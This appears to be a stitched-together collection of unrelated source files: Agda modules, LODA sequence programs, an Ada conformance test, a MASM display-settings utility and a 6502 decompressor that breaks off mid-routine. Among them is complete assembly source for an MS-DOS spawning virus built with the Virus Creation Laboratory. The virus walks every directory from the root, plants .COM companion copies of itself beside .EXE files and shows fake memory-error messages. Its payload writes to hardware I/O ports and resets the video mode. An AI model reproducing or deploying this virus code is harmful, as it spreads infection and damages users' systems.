{-# BUILTIN CHAR Char #-}
data Unit : Set where
unit : Unit
{-# COMPILED_DATA Unit () #-}
data Bool : Set where
true : Bool
false : Bool
data False : Set where
record True : Set where
IsTrue : Bool -> Set
IsTrue true = True
IsTrue false = False
{-# COMPILED_DATA Bool True False #-}
infixr 40 _::_
data List (A : Set) : Set where
[] : List A
_::_ : A -> List A -> List A
{-# COMPILED_DATA List [] (:) #-}
data _×_ (A B : Set) : Set where
_,_ : A -> B -> A × B
{-# COMPILED_DATA _×_ (,) #-} |
oeis/331/A331429.asm | neoneye/loda-programs | 11 | 99904 | ; A331429: Expansion of x^2*(10-5*x+x^2)/((1-x)^4*(1-x^2)).
; Submitted by <NAME>(s3)
; 0,0,10,35,91,189,351,594,946,1430,2080,2925,4005,5355,7021,9044,11476,14364,17766,21735,26335,31625,37675,44550,52326,61074,70876,81809,93961,107415,122265,138600,156520,176120,197506,220779,246051,273429,303031,334970,369370,406350,446040,488565,534061,582659,634501
sub $2,$0
add $0,2
bin $0,2
sub $0,1
bin $0,2
gcd $2,2
add $0,$2
sub $0,2
|
oeis/090/A090598.asm | neoneye/loda-programs | 0 | 25886 | <gh_stars>0
; A090598: Numerator of ((integral_{x = 0..1/2} 1/(1+x^2)^(n + 1/2) dx) * sqrt(1/5)).
; Submitted by <NAME>(w1)
; 1,14,328,10800,458880,23911680,1477278720,105623562240,8582728089600,781478859571200,78834419151667200,8729454895025356800,1052840115930503577600,137399767923711541248000
mul $0,2
mov $1,1
lpb $0
mov $2,$0
sub $0,1
add $3,$1
mul $3,$0
sub $0,1
mul $1,5
mul $1,$2
mul $3,4
lpe
add $1,$3
mov $0,$1
|
MSDOS/Virus.MSDOS.Unknown.vclnomem.asm | fengjixuchui/Family | 3 | 96009 | <filename>MSDOS/Virus.MSDOS.Unknown.vclnomem.asm
; NOMEM.ASM -- NoMem
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Frankenchrist
virus_type equ 2 ; Spawning Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
mov ah,04Ah ; DOS resize memory function
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset spawn_name ; SI points to true filename
int 02Eh ; DOS execution back-door
push ax ; Save return value for later
mov ax,cs ; AX holds code segment
mov ds,ax ; Restore data segment
mov es,ax ; Restore extra segment
mov cx,0007h ; Do 7 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_second
cmp ax,0014h ; Did the function return 20?
jg skip00 ; If greater, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov si,offset data00 ; SI points to data
call display_string
end00: call get_second
cmp ax,0014h ; Did the function return 20?
jl skip01 ; If less, skip effect
cmp ax,0028h ; Did the function return 40?
jg skip01 ; If greater, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: mov si,offset data01 ; SI points to data
call display_string
end01: call get_second
cmp ax,0028h ; Did the function return 40?
jl skip02 ; If less, skip effect
jmp short strt02 ; Success -- skip jump
skip02: jmp end02 ; Skip the routine
strt02: mov si,offset data02 ; SI points to data
call display_string
end02: call infected_all
or ax,ax ; Did the function return zero?
jne skip03 ; If not equal, skip effect
jmp short strt03 ; Success -- skip jump
skip03: jmp end03 ; Skip the routine
strt03: mov cx,0005h ; First argument is 5
new_shot: push cx ; Save the current count
mov dx,0140h ; DX holds pitch
mov bx,0100h ; BX holds shot duration
in al,061h ; Read the speaker port
and al,11111100b ; Turn off the speaker bit
fire_shot: xor al,2 ; Toggle the speaker bit
out 061h,al ; Write AL to speaker port
add dx,09248h ;
mov cl,3 ;
ror dx,cl ; Figure out the delay time
mov cx,dx ;
and cx,01FFh ;
or cx,10 ;
shoot_pause: loop shoot_pause ; Delay a bit
dec bx ; Are we done with the shot?
jnz fire_shot ; If not, pulse the speaker
and al,11111100b ; Turn off the speaker bit
out 061h,al ; Write AL to speaker port
mov bx,0002h ; BX holds delay time (ticks)
xor ah,ah ; Get time function
int 1Ah ; BIOS timer interrupt
add bx,dx ; Add current time to delay
shoot_delay: int 1Ah ; Get the time again
cmp dx,bx ; Are we done yet?
jne shoot_delay ; If not, keep checking
pop cx ; Restore the count
loop new_shot ; Do another shot
mov ah,0Fh ; BIOS get video mode function
int 010h
xor ah,ah ; BIOS set video mode function
int 010h
end03: call infected_all
or ax,ax ; Did the function return zero?
jne skip04 ; If not equal, skip effect
call get_minute
cmp ax,000Ch ; Did the function return 12?
jl skip04 ; If less, skip effect
jmp short strt04 ; Success -- skip jump
skip04: jmp end04 ; Skip the routine
strt04: xor ah,ah ; BIOS get time function
int 1Ah
xchg dx,ax ; AX holds low word of timer
mov dx,0FFh ; Start with port 255
out_loop: out dx,al ; OUT a value to the port
dec dx ; Do the next port
jne out_loop ; Repeat until DX = 0
end04: pop ax ; AL holds return value
mov ah,04Ch ; DOS terminate function
int 021h
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx,00100111b ; CX holds file attributes (all)
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
spawn_name db 12,12 dup (?),13 ; Name for next spawn
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
display_string proc near
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
ret ; Return to caller
display_string endp
get_minute proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,cl ; Copy minute into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_minute endp
get_second proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,dh ; Copy second into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_second endp
infected_all proc near
if virus_type eq 0
mov al,byte ptr [di + set_carry]
else
mov al,byte ptr [set_carry] ; AX holds success value
endif
cbw ; Sign-extend AL into AX
ret ; Return to caller
infected_all endp
data00 db "Not enough memory",13,10,0
data01 db "Out of memory",13,10,0
data02 db "Not enough free memory.",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
finish label near
code ends
end main
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c46051a.ada | best08618/asylo | 7 | 13468 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c46051a.ada<gh_stars>1-10
-- C46051A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT ENUMERATION, RECORD, ACCESS, PRIVATE, AND TASK VALUES CAN
-- BE CONVERTED IF THE OPERAND AND TARGET TYPES ARE RELATED BY
-- DERIVATION.
-- R.WILLIAMS 9/8/86
WITH REPORT; USE REPORT;
PROCEDURE C46051A IS
BEGIN
TEST ( "C46051A", "CHECK THAT ENUMERATION, RECORD, ACCESS, " &
"PRIVATE, AND TASK VALUES CAN BE CONVERTED " &
"IF THE OPERAND AND TARGET TYPES ARE " &
"RELATED BY DERIVATION" );
DECLARE
TYPE ENUM IS (A, AB, ABC, ABCD);
E : ENUM := ABC;
TYPE ENUM1 IS NEW ENUM;
E1 : ENUM1 := ENUM1'VAL (IDENT_INT (2));
TYPE ENUM2 IS NEW ENUM;
E2 : ENUM2 := ABC;
TYPE NENUM1 IS NEW ENUM1;
NE : NENUM1 := NENUM1'VAL (IDENT_INT (2));
BEGIN
IF ENUM (E) /= E THEN
FAILED ( "INCORRECT CONVERSION OF 'ENUM (E)'" );
END IF;
IF ENUM (E1) /= E THEN
FAILED ( "INCORRECT CONVERSION OF 'ENUM (E1)'" );
END IF;
IF ENUM1 (E2) /= E1 THEN
FAILED ( "INCORRECT CONVERSION OF 'ENUM1 (E2)'" );
END IF;
IF ENUM2 (NE) /= E2 THEN
FAILED ( "INCORRECT CONVERSION OF 'ENUM2 (NE)'" );
END IF;
IF NENUM1 (E) /= NE THEN
FAILED ( "INCORRECT CONVERSION OF 'NENUM (E)'" );
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ( "EXCEPTION RAISED DURING CONVERSION OF " &
"ENUMERATION TYPES" );
END;
DECLARE
TYPE REC IS
RECORD
NULL;
END RECORD;
R : REC;
TYPE REC1 IS NEW REC;
R1 : REC1;
TYPE REC2 IS NEW REC;
R2 : REC2;
TYPE NREC1 IS NEW REC1;
NR : NREC1;
BEGIN
IF REC (R) /= R THEN
FAILED ( "INCORRECT CONVERSION OF 'REC (R)'" );
END IF;
IF REC (R1) /= R THEN
FAILED ( "INCORRECT CONVERSION OF 'REC (R1)'" );
END IF;
IF REC1 (R2) /= R1 THEN
FAILED ( "INCORRECT CONVERSION OF 'REC1 (R2)'" );
END IF;
IF REC2 (NR) /= R2 THEN
FAILED ( "INCORRECT CONVERSION OF 'REC2 (NR)'" );
END IF;
IF NREC1 (R) /= NR THEN
FAILED ( "INCORRECT CONVERSION OF 'NREC (R)'" );
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ( "EXCEPTION RAISED DURING CONVERSION OF " &
"RECORD TYPES" );
END;
DECLARE
TYPE REC (D : INTEGER) IS
RECORD
NULL;
END RECORD;
SUBTYPE CREC IS REC (3);
R : CREC;
TYPE CREC1 IS NEW REC (3);
R1 : CREC1;
TYPE CREC2 IS NEW REC (3);
R2 : CREC2;
TYPE NCREC1 IS NEW CREC1;
NR : NCREC1;
BEGIN
IF CREC (R) /= R THEN
FAILED ( "INCORRECT CONVERSION OF 'CREC (R)'" );
END IF;
IF CREC (R1) /= R THEN
FAILED ( "INCORRECT CONVERSION OF 'CREC (R1)'" );
END IF;
IF CREC1 (R2) /= R1 THEN
FAILED ( "INCORRECT CONVERSION OF 'CREC1 (R2)'" );
END IF;
IF CREC2 (NR) /= R2 THEN
FAILED ( "INCORRECT CONVERSION OF 'CREC2 (NR)'" );
END IF;
IF NCREC1 (R) /= NR THEN
FAILED ( "INCORRECT CONVERSION OF 'NCREC (R)'" );
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ( "EXCEPTION RAISED DURING CONVERSION OF " &
"RECORD TYPES WITH DISCRIMINANTS" );
END;
DECLARE
TYPE REC IS
RECORD
NULL;
END RECORD;
TYPE ACCREC IS ACCESS REC;
AR : ACCREC;
TYPE ACCREC1 IS NEW ACCREC;
AR1 : ACCREC1;
TYPE ACCREC2 IS NEW ACCREC;
AR2 : ACCREC2;
TYPE NACCREC1 IS NEW ACCREC1;
NAR : NACCREC1;
FUNCTION F (A : ACCREC) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (0);
END F;
FUNCTION F (A : ACCREC1) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (1);
END F;
FUNCTION F (A : ACCREC2) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (2);
END F;
FUNCTION F (A : NACCREC1) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (3);
END F;
BEGIN
IF F (ACCREC (AR)) /= 0 THEN
FAILED ( "INCORRECT CONVERSION OF 'ACCREC (AR)'" );
END IF;
IF F (ACCREC (AR1)) /= 0 THEN
FAILED ( "INCORRECT CONVERSION OF 'ACCREC (AR1)'" );
END IF;
IF F (ACCREC1 (AR2)) /= 1 THEN
FAILED ( "INCORRECT CONVERSION OF 'ACCREC1 (AR2)'" );
END IF;
IF F (ACCREC2 (NAR)) /= 2 THEN
FAILED ( "INCORRECT CONVERSION OF 'ACCREC2 (NAR)'" );
END IF;
IF F (NACCREC1 (AR)) /= 3 THEN
FAILED ( "INCORRECT CONVERSION OF 'NACCREC (AR)'" );
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ( "EXCEPTION RAISED DURING CONVERSION OF " &
"ACCESS TYPES" );
END;
DECLARE
TYPE REC (D : INTEGER) IS
RECORD
NULL;
END RECORD;
TYPE ACCR IS ACCESS REC;
SUBTYPE CACCR IS ACCR (3);
AR : CACCR;
TYPE CACCR1 IS NEW ACCR (3);
AR1 : CACCR1;
TYPE CACCR2 IS NEW ACCR (3);
AR2 : CACCR2;
TYPE NCACCR1 IS NEW CACCR1;
NAR : NCACCR1;
FUNCTION F (A : CACCR) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (0);
END F;
FUNCTION F (A : CACCR1) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (1);
END F;
FUNCTION F (A : CACCR2) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (2);
END F;
FUNCTION F (A : NCACCR1) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (3);
END F;
BEGIN
IF F (CACCR (AR)) /= 0 THEN
FAILED ( "INCORRECT CONVERSION OF 'CACCR (AR)'" );
END IF;
IF F (CACCR (AR1)) /= 0 THEN
FAILED ( "INCORRECT CONVERSION OF 'CACCR (AR1)'" );
END IF;
IF F (CACCR1 (AR2)) /= 1 THEN
FAILED ( "INCORRECT CONVERSION OF 'CACCR1 (AR2)'" );
END IF;
IF F (CACCR2 (NAR)) /= 2 THEN
FAILED ( "INCORRECT CONVERSION OF 'CACCR2 (NAR)'" );
END IF;
IF F (NCACCR1 (AR)) /= 3 THEN
FAILED ( "INCORRECT CONVERSION OF 'NCACCR (AR)'" );
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ( "EXCEPTION RAISED DURING CONVERSION OF " &
"CONSTRAINED ACCESS TYPES" );
END;
DECLARE
PACKAGE PKG1 IS
TYPE PRIV IS PRIVATE;
PRIVATE
TYPE PRIV IS
RECORD
NULL;
END RECORD;
END PKG1;
USE PKG1;
PACKAGE PKG2 IS
R : PRIV;
TYPE PRIV1 IS NEW PRIV;
R1 : PRIV1;
TYPE PRIV2 IS NEW PRIV;
R2 : PRIV2;
END PKG2;
USE PKG2;
PACKAGE PKG3 IS
TYPE NPRIV1 IS NEW PRIV1;
NR : NPRIV1;
END PKG3;
USE PKG3;
BEGIN
IF PRIV (R) /= R THEN
FAILED ( "INCORRECT CONVERSION OF 'PRIV (R)'" );
END IF;
IF PRIV (R1) /= R THEN
FAILED ( "INCORRECT CONVERSION OF 'PRIV (R1)'" );
END IF;
IF PRIV1 (R2) /= R1 THEN
FAILED ( "INCORRECT CONVERSION OF 'PRIV1 (R2)'" );
END IF;
IF PRIV2 (NR) /= R2 THEN
FAILED ( "INCORRECT CONVERSION OF 'PRIV2 (NR)'" );
END IF;
IF NPRIV1 (R) /= NR THEN
FAILED ( "INCORRECT CONVERSION OF 'NPRIV (R)'" );
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ( "EXCEPTION RAISED DURING CONVERSION OF " &
"PRIVATE TYPES" );
END;
DECLARE
TASK TYPE TK;
T : TK;
TYPE TK1 IS NEW TK;
T1 : TK1;
TYPE TK2 IS NEW TK;
T2 : TK2;
TYPE NTK1 IS NEW TK1;
NT : NTK1;
TASK BODY TK IS
BEGIN
NULL;
END;
FUNCTION F (T : TK) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (0);
END F;
FUNCTION F (T : TK1) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (1);
END F;
FUNCTION F (T : TK2) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (2);
END F;
FUNCTION F (T : NTK1) RETURN INTEGER IS
BEGIN
RETURN IDENT_INT (3);
END F;
BEGIN
IF F (TK (T)) /= 0 THEN
FAILED ( "INCORRECT CONVERSION OF 'TK (T))'" );
END IF;
IF F (TK (T1)) /= 0 THEN
FAILED ( "INCORRECT CONVERSION OF 'TK (T1))'" );
END IF;
IF F (TK1 (T2)) /= 1 THEN
FAILED ( "INCORRECT CONVERSION OF 'TK1 (T2))'" );
END IF;
IF F (TK2 (NT)) /= 2 THEN
FAILED ( "INCORRECT CONVERSION OF 'TK2 (NT))'" );
END IF;
IF F (NTK1 (T)) /= 3 THEN
FAILED ( "INCORRECT CONVERSION OF 'NTK (T))'" );
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ( "EXCEPTION RAISED DURING CONVERSION OF " &
"TASK TYPES" );
END;
RESULT;
END C46051A;
|
asm/masm32/cmon/cmon.asm | dindoliboon/archive | 4 | 167829 | ; #########################################################################
.386
.model flat, stdcall
option casemap :none ; case sensitive
; #########################################################################
;=========
; Includes
;=========
include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\masm32.inc
include \MASM32\INCLUDE\user32.inc
include \MASM32\INCLUDE\kernel32.inc
;==========
; Libraries
;==========
includelib \MASM32\LIB\masm32.lib
includelib \MASM32\LIB\user32.lib
includelib \MASM32\LIB\kernel32.lib
;============================
; For debugging purposes only
;============================
;include \masm32\dberror\errormac.asm
; #########################################################################
;=============
; Local macros
;=============
cpy MACRO M1, M2
mov eax, M2
mov M1, eax
ENDM
; #########################################################################
.const
MAXSIZE equ 260 ; Max Buffer Size
DM_BITSPERPEL equ 00040000h
DM_PELSWIDTH equ 00080000h
DM_PELSHEIGHT equ 00100000h
DM_DISPLAYFLAGS equ 00200000h
DM_DISPLAYFREQUENCY equ 00400000h
.data
szTitle db "CMON Usage Notes", 0
szInfo db "CMON Usage Notes Changes the current display settings.", 13, 10, 13, 10
db "CMON [width] [height] [color depth] [refresh rate] [save]", 13, 10, 13, 10
db "width", 9, 9, "- Accepts values from 640 and up", 13, 10
db "height", 9, 9, "- Accepts values from 480 and up", 13, 10
db "color depth", 9, "- Accepts values from 4 to 32", 13, 10
db "refresh rate", 9, "- Accepts values from 56 and up", 13, 10
db "save", 9, 9, "- Accepts values from 0 to 1", 13, 10, 13, 10
db "color depth in detail:", 13, 10
db 9, "4", 9, "- stands for 16 colors", 13, 10
db 9, "8", 9, "- stands for 256 colors", 13, 10
db 9, "16", 9, "- stands for 16-bit color", 13, 10
db 9, "32", 9, "- stands for 32-bit color", 13, 10, 13, 10
db "save in detail:", 13, 10
db 9, "0", 9, "- resets but does not save settings", 13, 10
db 9, "1", 9, "- resets and save settings", 13, 10, 13, 10
db "* currently, save is optional and will default to 0.", 13, 10
db "* if you screw up your monitor, its not my fault!!!!", 13, 10, 13, 10
db "setting a screen to 800x600 with 16-bit colors at 85 Hz", 13, 10
db "cmon 800 600 16 85", 0
hInstance dd 0 ; Program Instance
counter dd 1
CHG_FLAG dd 0
;CDS_RESET
.data?
dPixel DWORD ?
dWidth DWORD ?
dHeight DWORD ?
dRefresh DWORD ?
szCommand db MAXSIZE dup (?) ; Command Line
dm DEVMODE <> ; Device Structure
.code
start:
;=====================
; Get program instance
;=====================
invoke GetModuleHandle, NULL
mov hInstance, eax
;==================
; Grab command line
;==================
GrabLine:
invoke GetCL, counter, addr szCommand
.if eax == 1
invoke atodw, addr szCommand
.if counter == 1
mov dWidth, eax
.elseif counter == 2
mov dHeight, eax
.elseif counter == 3
mov dPixel, eax
.elseif counter == 4
mov dRefresh, eax
.elseif counter == 5
.if eax == 1
mov CHG_FLAG, CDS_UPDATEREGISTRY
.endif
.endif
.endif
add counter, 1
.if counter <= 5
jmp GrabLine
.endif
;=========================
; Check numbers real quick
;=========================
.if dPixel >= 4 && dPixel <= 32 && \
dWidth >= 640 && dHeight >= 480 && \
dRefresh >= 56
invoke EnumDisplaySettings, 0, 0, addr dm
mov dm.dmSize, sizeof DEVMODE
mov dm.dmFields, DM_BITSPERPEL or DM_PELSWIDTH or \
DM_PELSHEIGHT or DM_DISPLAYFREQUENCY
cpy dm.dmPelsWidth, dWidth
cpy dm.dmPelsHeight, dHeight
cpy dm.dmBitsPerPel, dPixel
cpy dm.dmDisplayFrequency, dRefresh
invoke ChangeDisplaySettings, addr dm, CDS_TEST
.if eax == DISP_CHANGE_SUCCESSFUL
invoke ChangeDisplaySettings, addr dm, CHG_FLAG
invoke SendMessage, HWND_BROADCAST, WM_DISPLAYCHANGE, \
SPI_SETNONCLIENTMETRICS, 0
.endif
.else
invoke MessageBox, 0, addr szInfo, addr szTitle, MB_OK
.endif
;=================
; Exit our program
;=================
invoke ExitProcess, 0
; #########################################################################
end start
|
test/Fail/Issue1467.agda | shlevy/agda | 1,989 | 2269 | <filename>test/Fail/Issue1467.agda
record _×_ (A B : Set) : Set where
constructor _,_
field
fst : A
snd : B
open _×_
app : {A B : Set} → (A → B) × A → B
app (f , x) = f x
data D : Set where d : D
postulate
P : {A : Set} → A → Set
p : (f : D → D) → P f → P (f d)
foo : (F : Set → Set) → F D
bar : (F : Set → Set) → P (foo F)
q : P (app (foo (λ A → (A → A) × A)))
q =
let H : Set → Set
H = _ in
p (foo H) (bar H)
-- An internal error has occurred. Please report this as a bug.
-- Location of the error: src/full/Agda/TypeChecking/Conversion.hs:668
|
test/succeed/CompilingCoinduction.agda | asr/agda-kanso | 1 | 2477 |
module CompilingCoinduction where
open import Common.Coinduction
data List (A : Set) : Set where
[] : List A
_∷_ : (x : A) (xs : List A) → List A
{-# BUILTIN LIST List #-}
{-# BUILTIN NIL [] #-}
{-# BUILTIN CONS _∷_ #-}
{-# COMPILED_DATA List [] [] (:) #-}
postulate
Char : Set
{-# BUILTIN CHAR Char #-}
{-# COMPILED_TYPE Char Char #-}
-- Strings --
postulate
String : Set
{-# BUILTIN STRING String #-}
{-# COMPILED_TYPE String String #-}
data Unit : Set where
unit : Unit
{-# COMPILED_DATA Unit () () #-}
postulate
IO : Set → Set
{-# COMPILED_TYPE IO IO #-}
{-# BUILTIN IO IO #-}
postulate
putStrLn : ∞ String → IO Unit
{-# COMPILED putStrLn putStrLn #-}
main = putStrLn (♯ "a")
|
source/hash/a-stgeha.ads | ytomino/drake | 33 | 18219 | <gh_stars>10-100
pragma License (Unrestricted);
-- generalized unit of Ada.Strings.Hash
with Ada.Containers;
generic
type Character_Type is (<>);
type String_Type is array (Positive range <>) of Character_Type;
with procedure Get (
Item : String_Type;
Last : out Natural;
Value : out Wide_Wide_Character;
Is_Illegal_Sequence : out Boolean);
function Ada.Strings.Generic_Hash (Key : String_Type)
return Containers.Hash_Type;
pragma Pure (Ada.Strings.Generic_Hash);
|
src/lzgmini.asm | giomba/snake6502 | 1 | 245276 | inflate SUBROUTINE
.inEnd EQU 2
.offset EQU 4
.length EQU 6
.symbol EQU 25
.marker1 EQU 30
.marker2 EQU 31
.marker3 EQU 32
.marker4 EQU 33
.copy EQU 34
clc
ldy #10
lda (srcPointer),y
adc srcPointer
sta .inEnd
dey
lda (srcPointer),y
adc srcPointer + 1
sta .inEnd + 1
clc
lda .inEnd
adc #16
sta .inEnd
lda .inEnd + 1
adc #0
sta .inEnd + 1
; Get the marker symbols
ldy #16
lda (srcPointer),y
sta .marker1
iny
lda (srcPointer),y
sta .marker2
iny
lda (srcPointer),y
sta .marker3
iny
lda (srcPointer),y
sta .marker4
; Skip header + marker symbols (16 + 4 bytes)
clc
lda srcPointer
adc #20
sta srcPointer
lda srcPointer + 1
adc #0
sta srcPointer + 1
; Main decompression loop
ldy #0 ; Make sure that Y is zero
.mainloop:
lda srcPointer ; done?
cmp .inEnd
bne .notdone
lda srcPointer + 1
cmp .inEnd + 1
bne .notdone
rts
.notdone:
lda (srcPointer),y ; A = symbol
sta .symbol
sta $d020
inc srcPointer
bne .noinc1
inc srcPointer + 1
.noinc1:
cmp .marker1 ; Marker1?
beq .domarker1
cmp .marker2 ; Marker2?
beq .domarker2
cmp .marker3 ; Marker3?
beq .domarker3
cmp .marker4 ; Marker4?
beq .domarker4
.literal:
lda .symbol
sta (dstPointer),y ; Plain copy
inc dstPointer
bne .mainloop
inc dstPointer + 1
bne .mainloop
.domarker1:
jmp .domarker1b
; marker4 - "Near copy (incl. RLE)"
.domarker4:
lda (srcPointer),y
inc srcPointer
bne .noinc3
inc srcPointer + 1
.noinc3:
cmp #0
beq .literal ; Single occurance of the marker symbol (rare)
tax
lsr
lsr
lsr
lsr
lsr
sta .offset
inc .offset
lda #0
sta .offset + 1 ; offset = (b >> 5) + 1
txa
and #$1f
tax
lda .LZG_LENGTH_DECODE_LUT,x
sta .length ; length = .LZG_LENGTH_DECODE_LUT[b & 0x1f]
jmp .docopy
; marker3 - "Short copy"
.domarker3:
lda (srcPointer),y
inc srcPointer
bne .noinc4
inc srcPointer + 1
.noinc4:
cmp #0
beq .literal ; Single occurance of the marker symbol (rare)
tax
lsr
lsr
lsr
lsr
lsr
lsr
clc
adc #3
sta .length ; length = (b >> 6) + 3
txa
and #$3f
adc #8
sta .offset
lda #0
sta .offset + 1 ; offset = (b & 0x3f) + 8
beq .docopy
; marker2 - "Medium copy"
.domarker2:
lda (srcPointer),y
inc srcPointer
bne .noinc5
inc srcPointer + 1
.noinc5:
cmp #0
beq .literal ; Single occurance of the marker symbol (rare)
tax
lsr
